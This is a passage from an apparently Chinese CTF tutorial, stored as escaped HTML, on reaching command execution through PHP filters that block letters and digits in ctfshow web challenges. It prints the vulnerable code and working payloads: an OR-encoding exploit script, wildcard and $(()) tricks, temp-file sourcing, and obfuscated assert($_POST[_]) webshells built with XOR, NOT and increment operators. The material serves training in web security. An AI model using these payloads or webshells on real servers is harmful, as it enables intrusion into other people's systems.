\"\"<\/div><\/figure>\n\n\n\n
2.\u5229\u7528|\u8fd0\u7b97\u811a\u672c\u8fdb\u884c\u65e0\u53c2RCE<\/h5>\n\n\n\n
\u9a9a\u59ff\u52bf\u4e4b\u5229\u7528|\u8fd0\u7b97\u8fbe\u6210\u65e0\u53c2RCE<\/strong>
\u539f\u7406\u4e0e\u5f02\u6216\u8fd0\u7b97\u7684\u65e0\u53c2RCE\u4e00\u6837<\/p>\n\n\n\n
\u5bf9\u5927\u4f6c\u7684\u811a\u672c\u8fdb\u884c\u8be6\u7ec6\u89e3\u6790<\/p>\n\n\n\n
import re\nimport requests\n\nurl=\"http:\/\/67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080\"\n\na=[]\nans1=\"\"\nans2=\"\"\nfor i in range(0,256):\/\/\u8fd9\u4e2a `for` \u5faa\u73af\u904d\u5386\u4ece 0 \u5230 255 \u7684\u6240\u6709\u6574\u6570\uff0c\u4ee3\u8868\u4e86\u6240\u6709\u53ef\u80fd\u7684 ASCII \u5b57\u7b26\u3002\n    c=chr(i)\/\/`chr(i)` \u5c06\u6570\u5b57 `i` \u8f6c\u6362\u4e3a\u5bf9\u5e94\u7684\u5b57\u7b26\u3002\n    tmp = re.match(r'[0-9]|[a-z]|\\^|\\+|\\~|\\$|\\[|\\]|\\{|\\}|\\&|\\-',c, re.I)\n    if(tmp):\n        continue\n        #print(tmp.group(0))\n    else:\n        a.append(i)\/\/\u5982\u679c\u5b57\u7b26\u662f\u5339\u914d\u7684\uff08\u5373\u5c5e\u4e8e\u8fd9\u4e9b\u53ef\u63a5\u53d7\u5b57\u7b26\uff09\uff0c\u5219\u8df3\u8fc7\u8fd9\u4e2a\u5b57\u7b26\uff08`continue`\uff09\uff0c\u5426\u5219\u628a\u5b57\u7b26\u7684 ASCII \u7801\u52a0\u5165\u5217\u8868 `a`\u3002\n\n# eval(\"echo($c);\");\nmya=\"system\"  #\u51fd\u6570\u540d \u8fd9\u91cc\u4fee\u6539\uff01\nmyb=\"ls\"      #\u53c2\u6570\ndef myfun(k,my):\/\/\u51fd\u6570\u7684\u76ee\u7684\u662f\u901a\u8fc7\u4f4d\u8fd0\u7b97 (`|`\uff0c\u6309\u4f4d\u6216\u64cd\u4f5c) \u6765\u751f\u6210\u4e0e\u5b57\u7b26\u7684 ASCII \u503c\u5339\u914d\u7684\u4e24\u4e2a\u6570\u5b57\uff0c\u5e76\u5c06\u5176\u5206\u522b\u5b58\u5165 `ans1` \u548c `ans2` \u4e2d\u3002\n    global ans1\n    global ans2\n    for i in range (0,len(a)):\n        for j in range(i,len(a)):\n            if(a[i]|a[j]==ord(my[k])):\/\/\u68c0\u67e5 `a[i]` \u548c `a[j]` \u901a\u8fc7\u6309\u4f4d\u6216\u8fd0\u7b97\u5f97\u5230\u7684\u503c\u662f\u5426\u7b49\u4e8e `my[k]` \u7684 ASCII \u503c\u3002\u5982\u679c\u6ee1\u8db3\u6761\u4ef6\uff0c\u5c31\u628a\u5bf9\u5e94\u7684\u5b57\u7b26 `a[i]` \u548c `a[j]` \u52a0\u5165 `ans1` \u548c `ans2`\u3002\n                ans1+=chr(a[i])\n                ans2+=chr(a[j])\n                return;\nfor k in range(0,len(mya)):\n    myfun(k,mya)\ndata1=\"(\\\"\"+ans1+\"\\\"|\\\"\"+ans2+\"\\\")\"\nans1=\"\"\nans2=\"\"\nfor k in range(0,len(myb)):\n    myfun(k,myb)\ndata2=\"(\\\"\"+ans1+\"\\\"|\\\"\"+ans2+\"\\\")\"\n\ndata={\"c\":data1+data2}\nr=requests.post(url=url,data=data)\nprint(r.text)<\/code><\/pre>\n\n\n\n
\u5b9e\u6218\uff0c\u53c2\u8003ctfshow web\u5165\u95e841\uff08payload\u5c31\u662f\u4e0a\u8ff0\u811a\u672c\uff09<\/strong><\/p>\n\n\n\n
<?php\n\nif(isset($_POST['c'])){\n    $c = $_POST['c'];\nif(!preg_match('\/[0-9]|[a-z]|\\^|\\+|\\~|\\$|\\[|\\]|\\{|\\}|\\&|\\-\/i', $c)){\n        eval(\"echo($c);\");\n    }\n}else{\n    highlight_file(__FILE__);\n}\n?><\/code><\/pre>\n\n\n\n
3.\u5229\u7528\u901a\u914d\u7b26\u8fdb\u884c\u65e0\u53c2RCE<\/h5>\n\n\n\n
\u53c2\u8003\u524d\u9762\u901a\u914d\u7b26\u7684\u77e5\u8bc6\u70b9\u53ef\u4ee5\u5229\u7528?\u6784\u9020\u65e0\u53c2RCE<\/p>\n\n\n\n
\u5b9e\u6218\uff0c\u53c2\u8003ctfshow web\u5165\u95e854<\/strong><\/p>\n\n\n\n
<?php\nif(isset($_GET['c'])){\n    $c=$_GET['c'];\n    if(!preg_match(\"\/\\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\\`|\\%|\\x09|\\x26|\\>|\\<\/i\", $c)){\n        system($c);\n    }\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
grep\u6587\u4ef6\u8bfb\u53d6\u547d\u4ee4+{$IFS}+\u2018\u2019+\uff1f\u8fdb\u884c\u7ed5\u8fc7<\/p>\n\n\n\n
?c=grep${IFS}'{'${IFS}fl???php<\/code><\/pre>\n\n\n\n
\u53d8\u5f0f\u9898\uff0c\u53c2\u8003ctfshow web\u5165\u95e855<\/strong><\/p>\n\n\n\n
<?php\n\/\/ \u4f60\u4eec\u5728\u70ab\u6280\u5417\uff1f\nif(isset($_GET['c'])){\n    $c=$_GET['c'];\n    if(!preg_match(\"\/\\;|[a-z]|\\`|\\%|\\x09|\\x26|\\>|\\<\/i\", $c)){\n        system($c);\n    }\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
\u8fd9\u9898\u6bd4\u8f83\u53d8\u6001\u7684\u5730\u65b9\u5728\u4e8e\u62e6\u622a\u4e86\u5c0f\u5199\u7684\u6240\u6709\u5b57\u6bcd\uff0c\u56e0\u6b64\u597d\u50cf\u65e0\u6cd5\u5229\u7528\u6587\u4ef6\u8bfb\u53d6\u7684\u547d\u4ee4<\/p>\n\n\n\n
Linux\u77e5\u8bc6\u70b9\u8865\u5145<\/strong>
Linux \u7cfb\u7edf\u4e0b\u4e00\u5207\u7686\u6587\u4ef6\uff0c\u547d\u4ee4\u4e5f\u662f\u6587\u4ef6\u662f\/bin\u76ee\u5f55\u4e0b\u5b58\u653e\u7684\u6587\u4ef6\uff0c\u5176\u4e2dbase64\u662f\u542b\u6709\u6570\u5b57\u7684\u547d\u4ee4\uff0c\u53ef\u4ee5\u5c06\u6587\u4ef6\u4ee5base64\u7684\u5f62\u5f0f\u8fdb\u884c\u8f93\u51fa\u4e0d\u662f\u6240\u6709\u7684\u670d\u52a1\u5668\u90fd\u652f\u6301<\/strong>\uff0c\u6b64\u9898\u53ef\u4ee5\u5229\u7528<\/strong><\/p>\n\n\n\n
?c=\/???\/????64 ????.???<\/code><\/pre>\n\n\n\n
4.\u4e0a\u4f20\u5e76\u53ef\u63a7\u6587\u4ef6\u8fdb\u884c\u65e0\u53c2RCE<\/h5>\n\n\n\n
\u53c2\u8003\u9898\u76ee\uff0cctfshow web\u5165\u95e856<\/strong>
\u53c2\u8003\u535a\u5ba2https:\/\/www.leavesongs.com\/PENETRATION\/webshell-without-alphanum-advanced.html#poc<\/a><\/p>\n\n\n\n
<?php\n\/\/ \u4f60\u4eec\u5728\u70ab\u6280\u5417\uff1f\nif(isset($_GET['c'])){\n    $c=$_GET['c'];\n    if(!preg_match(\"\/\\;|[a-z]|[0-9]|\\\\$|\\(|\\{|\\'|\\\"|\\`|\\%|\\x09|\\x26|\\>|\\<\/i\", $c)){\n        system($c);\n    }\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u662f\u547d\u4ee4\u6267\u884c\u8fd8\u65e0\u6cd5\u5229\u7528\u8fd0\u7b97\u65e0\u53c2RCE\uff0c\u770b\u4f3c\u6beb\u65e0\u89e3\u6cd5<\/p>\n\n\n\n
Linux\u77e5\u8bc6\u70b9\u8865\u5145
1.shell\u4e0b\u53ef\u4ee5\u5229\u7528.<\/code>\u6765\u6267\u884c\u4efb\u610f\u811a\u672c<\/strong>
.<\/code>\u6216\u8005\u53ebperiod\uff0c\u5b83\u7684\u4f5c\u7528\u548csource\u4e00\u6837\uff0c\u5c31\u662f\u7528\u5f53\u524d\u7684shell\u6267\u884c\u4e00\u4e2a\u6587\u4ef6\u4e2d\u7684\u547d\u4ee4\u3002\u6bd4\u5982\uff0c\u5f53\u524d\u8fd0\u884c\u7684shell\u662fbash\uff0c\u5219. file<\/code>\u7684\u610f\u601d\u5c31\u662f\u7528bash\u6267\u884cfile\u6587\u4ef6\u4e2d\u7684\u547d\u4ee4\u3002\u7528.file<\/code>\u6267\u884c\u6587\u4ef6\uff0c\u662f\u4e0d\u9700\u8981file\u6709x\u6743\u9650\u7684<\/strong>
2.Linux\u6587\u4ef6\u540d\u652f\u6301\u7528glob\u901a\u914d\u7b26\u4ee3\u66ff<\/strong><\/p>\n\n\n\n
\u5982\u679c\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u6709\u4e00\u4e2a\u6211\u4eec\u53ef\u63a7\u7684\u6587\u4ef6\uff0c\u90a3\u4e0d\u5c31\u53ef\u4ee5\u5229\u7528.<\/code>\u6765\u6267\u884c\uff0c\u8fd9\u4e2a\u6587\u4ef6\u4e5f\u5f88\u597d\u5f97\u5230\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u9001\u4e00\u4e2a\u4e0a\u4f20\u6587\u4ef6\u7684POST\u5305\uff0c\u6b64\u65f6PHP\u4f1a\u5c06\u6211\u4eec\u4e0a\u4f20\u7684\u6587\u4ef6\u4fdd\u5b58\u5728\u4e34\u65f6\u6587\u4ef6\u5939\u4e0b\uff0c\u9ed8\u8ba4\u7684\u6587\u4ef6\u540d\u662f\/tmp\/phpXXXXXX<\/code>\uff0c\u6587\u4ef6\u540d\u6700\u540e6\u4e2a\u5b57\u7b26\u662f\u968f\u673a\u7684\u5927\u5c0f\u5199\u5b57\u6bcd\u3002<\/strong><\/p>\n\n\n\n
\u6211\u4eec\u9700\u8981\u4e0a\u4f20\u6587\u4ef6\u7684POST\u8bf7\u6c42\u5305<\/p>\n\n\n\n
<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>POST\u6570\u636e\u5305POC<\/title>\n<\/head>\n<body>\n<form action=\"https:\/\/f135ee89-cbf7-464b-9e19-a07aec56fd3f.challenge.ctf.show\/\" method=\"post\" enctype=\"multipart\/form-data\">\n<!--\u94fe\u63a5\u662f\u5f53\u524d\u6253\u5f00\u7684\u9898\u76ee\u94fe\u63a5-->\n    <label for=\"file\">\u6587\u4ef6\u540d\uff1a<\/label>\n    <input type=\"file\" name=\"file\" id=\"file\"><br>\n    <input type=\"submit\" name=\"submit\" value=\"\u63d0\u4ea4\">\n<\/form>\n<\/body>\n<\/html><\/code><\/pre>\n\n\n\n
\u8fd8\u9700\u8981\u89e3\u51b3\/tmp\/phpXXXXXX<\/code><\/strong>\u4e2d\u5b57\u6bcd\u7684\u51fa\u6765\uff0cglob\u652f\u6301\u7528[^x]<\/code>\u7684\u65b9\u6cd5\u6765\u6784\u9020\u201c\u8fd9\u4e2a\u4f4d\u7f6e\u4e0d\u662f\u5b57\u7b26x\uff0cglob\u652f\u6301\u5229\u7528[0-9]<\/code>\u6765\u8868\u793a\u4e00\u4e2a\u8303\u56f4\u201d\u7ffb\u5f00ascii\u7801\u8868\uff0c\u53ef\u89c1\u5927\u5199\u5b57\u6bcd\u4f4d\u4e8e@<\/code>\u4e0e[<\/code>\u4e4b\u95f4\/tmp\/phpXXXXXX\u5c31\u53ef\u4ee5\u8868\u793a\u4e3a<\/code>\/*\/?????????\u6216<\/code>\/???\/????????[@-[]]<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
5.$(())\u7ed5\u8fc7<\/h5>\n\n\n\n
\u53c2\u8003\u9898\u76ee\uff0cctfshow web\u5165\u95e857<\/strong><\/p>\n\n\n\n
<?php\n\/\/ \u8fd8\u80fd\u70ab\u7684\u52a8\u5417\uff1f\n\/\/flag in 36.php\nif(isset($_GET['c'])){\n    $c=$_GET['c'];\n    if(!preg_match(\"\/\\;|[a-z]|[0-9]|\\`|\\|\\#|\\'|\\\"|\\`|\\%|\\x09|\\x26|\\x0a|\\>|\\<|\\.|\\,|\\?|\\*|\\-|\\=|\\[\/i\", $c)){\n        system(\"cat \".$c.\".php\");\n    }\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
\u53ea\u9700\u8981\u4f20\u516536\u5c31\u80fd\u62ff\u5230flag<\/p>\n\n\n\n
Linux\u77e5\u8bc6\u70b9\u8865\u5145
$(())=0
$((~ $(()) ))=-1<\/strong><\/p>\n\n\n\n
\u57fa\u4e8e\u6b21\u77e5\u8bc6\u70b9\u6784\u9020\u51fa$((~-37))\u5c31\u53ef\u4ee5\u5f97\u523036<\/p>\n\n\n\n
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))<\/code><\/pre>\n\n\n\n
6.\u5229\u7528\u5f02\u6216\u8fd0\u7b97\u811a\u672c\u7ed5\u8fc7<\/h5>\n\n\n\n
\u7b80\u8ff0\u539f\u7406
a ^ payload = c
payload = a ^ c<\/p>\n\n\n\n
<?php\n$shell = \"_POST\";\n$result1 = \"\";\n$result2 = \"\";\nfor($num=0;$num<strlen($shell);$num++)\n{\n    for($x=33;$x<126;$x++)\n    {\n        if(judge(chr($x)))\n        {\n            for($y=33;$y<=126;$y++)\n            {\n                if(judge(chr($y)))\n                {\n                    $f = chr($x)^chr($y);\n                    if($f == $shell[$num])\n                    {\n                        $result1 .= chr($x);\n                        $result2 .= chr($y);\n                        break 2;\n                    }\n                }\n            }\n        }\n    }\n}\necho \"'\" . $result1;\necho \"'^'\";\necho $result2 . \"'\";\n\nfunction judge($c)\n{\n    if(!preg_match('\/[a-z0-9]\/is',$c))\n    {\n        return true;\n    }\n    return false;\n}\n?><\/code><\/pre>\n\n\n\n
\u6784\u9020payload<\/strong><\/p>\n\n\n\n
<?php\n$_ = \"!((%)(\"^\"@[[@[\\\\\";   \/\/\u6784\u9020\u51faassert\n$__ = \"!+\/((\"^\"~{`{|\";   \/\/\u6784\u9020\u51fa_POST\n$___ = $$__;   \/\/$___ = $_POST\n$_($___[_]);   \/\/assert($_POST[_]);\n?><\/code><\/pre>\n\n\n\n
7.\u5229\u7528\u53d6\u53cd\u811a\u672c\u7ed5\u8fc7<\/h5>\n\n\n\n
\u6784\u9020payload<\/strong><\/p>\n\n\n\n
<?php\n$a = urlencode(~'phpinfo');\necho $a;\n\/\/ %8F%97%8F%96%91%99%90\n?><\/code><\/pre>\n\n\n\n
\u57fa\u4e8e\u6b64\u6784\u9020payload<\/strong><\/p>\n\n\n\n
<?php\n$_ = ~\"%9e%8c%8c%9a%8d%8b\";   \/\/\u5f97\u5230assert\uff0c\u6b64\u65f6$_=\"assert\"\n$__ = ~\"%a0%af%b0%ac%ab\";   \/\/\u5f97\u5230_POST\uff0c\u6b64\u65f6$__=\"_POST\"\n$___ = $$__;   \/\/$___=$_POST\n$_($___[_]);   \/\/assert($_POST[_])\n?>\n$_=~\"%9e%8c%8c%9a%8d%8b\";$__=~\"%a0%af%b0%ac%ab\";$___=$$__;$_($___[_]);<\/code><\/pre>\n\n\n\n
8.\u4e2d\u6587\u5b57\u7b26\u622a\u53d6\u7ed5\u8fc7<\/h5>\n\n\n\n
\u539f\u7406\u7b80\u8ff0<\/strong><\/p>\n\n\n\n
php > echo ~('\u77b0'[1]);\na\nphp > echo ~('\u548c'[1]);\ns\nphp > echo ~('\u548c'[1]);\ns\nphp > echo ~('\u7684'[1]);\ne\nphp > echo ~('\u534a'[1]);\nr\nphp > echo ~('\u59cb'[1]);\nt<\/code><\/pre>\n\n\n\n
\u57fa\u4e8e\u6b64\u53ef\u4ee5\u6784\u9020\u51fapayload<\/strong><\/p>\n\n\n\n
.=\u590d\u5408\u8fd0\u7b97\u7b26\n$x=\"Hello\";\n$x .= \" world!\";\necho $x; \/\/ \u8f93\u51faHello world! \n<?php\n$__=('>'>'<')+('>'>'<'); \/\/True+True=2;$__=2\n$_=$__\/$__; \/\/$_=2\/2=1\n$____='';\n$___=\"\u77b0\";$____.=~($___{$_});$___=\"\u548c\";$____.=~($___{$__});$___=\"\u548c\";$____.=~($___{$__});$___=\"\u7684\";$____.=~($___{$_});$___=\"\u534a\";$____.=~($___{$_});$___=\"\u59cb\";$____.=~($___{$__});\n\/\/ \u5f97\u5230assert\n$_____='_';$___=\"\u4fef\";$_____.=~($___{$__});$___=\"\u77b0\";$_____.=~($___{$__});$___=\"\u6b21\";$_____.=~($___{$_});$___=\"\u7ad9\";$_____.=~($___{$_});\n\/\/ \u5f97\u5230_POST\n$_=$$_____;\n\/\/ \u5f97\u5230$_POST\u6570\u7ec4\n$____($_[$__]);\n\/\/ \u76f8\u5f53\u4e8e\u6267\u884c\u4e86assert($_POST[2])\n?><\/code><\/pre>\n\n\n\n
9.\u7eaf\u5b57\u6bcd\u9012\u589e\u7ed5\u8fc7<\/h5>\n\n\n\n
\u539f\u7406\u7b80\u8ff0<\/strong><\/p>\n\n\n\n
\u5728\u5904\u7406\u5b57\u7b26\u53d8\u91cf\u7684\u7b97\u6570\u8fd0\u7b97\u65f6\uff0cPHP\u6cbf\u88ad\u4e86Perl \u7684\u4e60\u60ef\uff0c\u800c\u975eC\u7684\u3002\u4f8b\u5982\uff0c\u5728Perl\u4e2d$a='Z'; a++;<\/code> \u5c06\u628a a\u53d8\u6210AA\uff0c\u6ce8\u610f\u5b57\u7b26\u53d8\u91cf\u53ea\u80fd\u9012\u589e\uff0c\u4e0d\u80fd\u9012\u51cf\uff0c\u5e76\u4e14\u53ea\u652f\u6301\u7eaf\u5b57\u6bcd(a-z\u548cA-Z) \u3002\u9012\u589e\/\u9012\u51cf\u5176\u4ed6\u5b57\u7b26\u53d8\u91cf\u5219\u65e0\u6548\uff0c\u539f\u5b57\u7b26\u4e32\u6ca1\u6709\u53d8\u5316\u3002<\/strong><\/p>\n\n\n\n
<?php\n$a = 'a';\n$a ++;\nvar_dump($a);\n$a --;\n$a --;\nvar_dump($a);\nvar_dump($a);\n?>\n\u540e\u7eed\u65e0\u8bba\u591a\u5c11\u6b21--\u90fd\u4e0d\u4f1a\u6539\u53d8\u56e0\u6b64$a='b'<\/code><\/pre>\n\n\n\n
\u5f53$a='Z'\u7684\u65f6\u5019\n<?php\n$a = 'Z';\n$a ++;\nvar_dump($a);\n$a --;\n$a --;\nvar_dump($a);\nvar_dump($a);\n?><\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6570\u7ec4\uff08Array\uff09\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bcd\u5c31\u662f\u5927\u5199A\uff0c\u800c\u4e14\u7b2c4\u4e2a\u5b57\u6bcd\u662f\u5c0f\u5199a\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u6211\u4eec\u53ef\u4ee5\u540c\u65f6\u62ff\u5230\u5c0f\u5199\u548c\u5927\u5199A\uff0c\u7b49\u4e8e\u6211\u4eec\u5c31\u53ef\u4ee5\u62ff\u5230a-z\u548cA-Z\u7684\u6240\u6709\u5b57\u6bcd\u3002 \u5728PHP\u4e2d\uff0c\u5982\u679c\u5f3a\u5236\u8fde\u63a5\u6570\u7ec4\u548c\u5b57\u7b26\u4e32\u7684\u8bdd\uff0c\u6570\u7ec4\u5c06\u88ab\u8f6c\u6362\u6210\u5b57\u7b26\u4e32\uff0c\u5176\u503c\u4e3aArray\uff1a\u518d\u53d6\u8fd9\u4e2a\u5b57\u7b26\u4e32\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bcd\uff0c\u5c31\u53ef\u4ee5\u83b7\u5f97’A’\u4e86\u3002<\/strong><\/p>\n\n\n\n
\u57fa\u4e8e\u6b64\u6784\u9020\u51fapayload<\/strong><\/p>\n\n\n\n
<?php\n$_=[];\n$_=@\"$_\"; \/\/ $_='Array';\n$_=@$_['!'=='@']; \/\/ $_=$_[0];\n$___=$_; \/\/ A\n$__=$_;\n$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;\n$___.=$__; \/\/ S\n$___.=$__; \/\/ S\n$__=$_;\n$__++;$__++;$__++;$__++; \/\/ E \n$___.=$__;\n$__=$_;\n$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; \/\/ R\n$___.=$__;\n$__=$_;\n$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; \/\/ T\n$___.=$__;\n\n$____='_';\n$__=$_;\n$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; \/\/ P\n$____.=$__;\n$__=$_;\n$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; \/\/ O\n$____.=$__;\n$__=$_;\n$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; \/\/ S\n$____.=$__;\n$__=$_;\n$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; \/\/ T\n$____.=$__;\n\n$_=$$____;\n@$___($_[_]); \/\/ ASSERT($_POST[_]);\n?><\/code><\/pre>\n\n\n\n
\u6e90\u7801\u52ab\u6301\u8f93\u51fa\u7f13\u51b2\u7ed5\u8fc7<\/h3>\n\n\n\n
\u53c2\u8003\u9898\u76ee\uff0cctfshow web\u5165\u95e871<\/strong><\/p>\n\n\n\n
<?php\nerror_reporting(0);\nini_set('display_errors', 0);\n\/\/ \u4f60\u4eec\u5728\u70ab\u6280\u5417\uff1f\nif(isset($_POST['c'])){\n        $c= $_POST['c'];\n        eval($c);\n        $s = ob_get_contents();\n        ob_end_clean();\n        echo preg_replace(\"\/[0-9]|[a-z]\/i\",\"?\",$s);\n}else{\n    highlight_file(__FILE__);\n}\n\n?>\n\n\u4f60\u8981\u4e0a\u5929\u5417\uff1f<\/code><\/pre>\n\n\n\n
\u7f13\u51b2\u533a\u77e5\u8bc6\u70b9\u8865\u5145
\u7f13\u51b2\u533a(Buffer)\u5c31\u662f\u5728\u5185\u5b58\u4e2d\u9884\u7559\u6307\u5b9a\u5927\u5c0f\u7684\u5b58\u50a8\u7a7a\u95f4\u7528\u6765\u5bf9I\/O\u7684\u6570\u636e\u505a\u4e34\u65f6\u5b58\u50a8\uff0c\u8fd9\u90e8\u5206\u9884\u7559\u7684\u5185\u5b58\u7a7a\u95f4\u53eb\u7f13\u51b2\u533a\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u5728\u5185\u5b58\u7a7a\u95f4\u4e2d\u9884\u7559\u4e86\u4e00\u5b9a\u7684\u5b58\u50a8\u7a7a\u95f4\uff0c\u8fd9\u4e9b\u5b58\u50a8\u7a7a\u95f4\u7528\u6765\u7f13\u51b2\u8f93\u5165\u6216\u8f93\u51fa\u7684\u6570\u636e\uff0c\u8fd9\u90e8\u5206\u9884\u7559\u7684\u7a7a\u95f4\u5c31\u53eb\u505a\u7f13\u51b2\u533a\u3002<\/strong>
ob_start()\u5f00\u542f\u4e86\u7f13\u51b2\u63a7\u5236
ob_get_contents:\u8fd4\u56de\u8f93\u51fa\u7f13\u51b2\u533a\u7684\u5185\u5bb9\uff0c\u53ea\u662f\u5f97\u5230\u7f13\u51b2\u533a\u7684\u5185\u5bb9\uff0c\u4f46\u4e0d\u6e05\u9664\u5b83\u3002
ob_end_clean:\u6e05\u7a7a\uff08\u64e6\u9664\uff09\u7f13\u51b2\u533a\u5e76\u5173\u95ed\u8f93\u51fa\u7f13\u51b2\u3002<\/strong><\/p>\n\n\n\n
\u6b64\u9898\u8fdb\u884c\u4e86\u7f13\u51b2\u63a7\u5236\u5c06\u8981\u8f93\u51fa\u7684\u6570\u636e\u585e\u5165\u8f93\u51fa\u7f13\u51b2\u4e2d\uff0c\u6e90\u7801\u52ab\u6301\u4e86\u8f93\u51fa\u7f13\u51b2\u5e76\u4e14\u5c06\u6570\u5b57\u548c\u5b57\u6bcd\u66ff\u6362\u6210\u4e86?<\/code>\uff0c\u6240\u4ee5\u6700\u540e\u8f93\u51fa\u7684\u5168\u662f?<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7ed5\u8fc7\u65b9\u6cd5<\/h4>\n\n\n\n
\u65b9\u6cd5\u4e00\u5229\u7528\u51fd\u6570\u63d0\u524d\u5c06\u8f93\u51fa\u7f13\u51b2\u4e2d\u7684\u6570\u636e\u8f93\u51fa<\/strong>
\u5728\u52ab\u6301\u8f93\u51fa\u7f13\u51b2\u533a\u4e4b\u524d\u5c31\u628a\u7f13\u51b2\u533a\u9001\u51fa\uff0c\u53ef\u4ee5\u7528\u7684\u51fd\u6570\u6709\uff1a<\/strong>
ob_flush();
ob_end_flush();<\/strong>
\u65b9\u6cd5\u4e8c\u63d0\u524d\u7ec8\u6b62\u7a0b\u5e8f\uff0c\u6267\u884c\u5b8c\u4e86\u4ee3\u7801\u4e4b\u540e\u76f4\u63a5\u9000\u51fa\u800c\u4e0d\u8fdb\u5165\u8f93\u51fa\u7f13\u51b2\u4e2d<\/strong>
\u63d0\u524d\u7ec8\u6b62\u7a0b\u5e8f\uff0c\u5373\u6267\u884c\u5b8c\u4ee3\u7801\u76f4\u63a5\u9000\u51fa\uff0c\u53ef\u4ee5\u8c03\u7528\u7684\u51fd\u6570\u6709<\/strong>\uff1a
exit();
die();<\/strong><\/p>\n\n\n\n
?c=echo(json_encode(scandir(\"\/flag.php\")));die();<\/code><\/pre>\n\n\n\n
\u53d8\u5f0f\u9898\uff0cctfshow web\u5165\u95e872<\/strong><\/p>\n\n\n\n
<?php\nerror_reporting(0);\nini_set('display_errors', 0);\n\/\/ \u4f60\u4eec\u5728\u70ab\u6280\u5417\uff1f\nif(isset($_POST['c'])){\n        $c= $_POST['c'];\n        eval($c);\n        $s = ob_get_contents();\n        ob_end_clean();\n        echo preg_replace(\"\/[0-9]|[a-z]\/i\",\"?\",$s);\n}else{\n    highlight_file(__FILE__);\n}\n\n?>\n\n\u4f60\u8981\u4e0a\u5929\u5417\uff1f<\/code><\/pre>\n\n\n\n
\u770b\u4f3c\u6e90\u7801\u4e00\u6837\uff0c\u4f46\u662f\u5c1d\u8bd5\u540e\u53d1\u73b0\u53ea\u80fd\u8bfb\u53d6\u5f53\u524d\u7684\u76ee\u5f55\uff0c\u65e0\u6cd5\u8bfb\u53d6\u5176\u4ed6\u7684\u76ee\u5f55<\/p>\n\n\n\n
PHP\u5b89\u5168\u6307\u4ee4\u77e5\u8bc6\u8865\u5145<\/strong>
\u539f\u56e0\u662f\u5f00\u542f\u4e86open_basedir\uff0copen_basedir\u662fPHP\u7684\u4e00\u4e2a\u5b89\u5168\u914d\u7f6e\u6307\u4ee4\uff0c\u7528\u6765\u9650\u5236PHP\u811a\u672c\u53ea\u80fd\u8bbf\u95ee\u8bbf\u95ee\u7279\u5b9a\u7684\u76ee\u5f55\uff0c\u4f46\u662f\u4e0d\u5141\u8bb8\u8bbf\u95ee\u5176\u5b83\u7684\u76ee\u5f55\u6240\u4ee5\u6839\u76ee\u5f55\u65e0\u6cd5\u88ab\u8bbf\u95ee<\/strong><\/p>\n\n\n\n
glob\u4f2a\u534f\u8bae\u7ed5\u8fc7<\/strong><\/h4>\n\n\n\n
PHP\u4f2a\u534f\u8bae\u4e2d\u7684glob\u4f2a\u534f\u8bae\u53ef\u4ee5\u7528\u4e8e\u83b7\u53d6\u6307\u5b9a\u6a21\u5f0f\u7684\u6587\u4ef6\u8def\u5f84\u5217\u8868\uff0c\u53ef\u4ee5\u7528\u4e8e\u8fdc\u7a0b\u8bfb\u53d6\u6587\u4ef6\u7cfb\u7edf\u6216\u8005\u538b\u7f29\u6587\u4ef6\u4e2d\u7684\u6587\u4ef6\u5217\u8868\uff0c\u5176\u7b5b\u9009\u76ee\u5f55\u4e0d\u53d7open_basedir\u7684\u9650\u5236\uff0c\u53ef\u4ee5\u7528\u4e8e\u7ed5\u8fc7<\/strong><\/p>\n\n\n\n
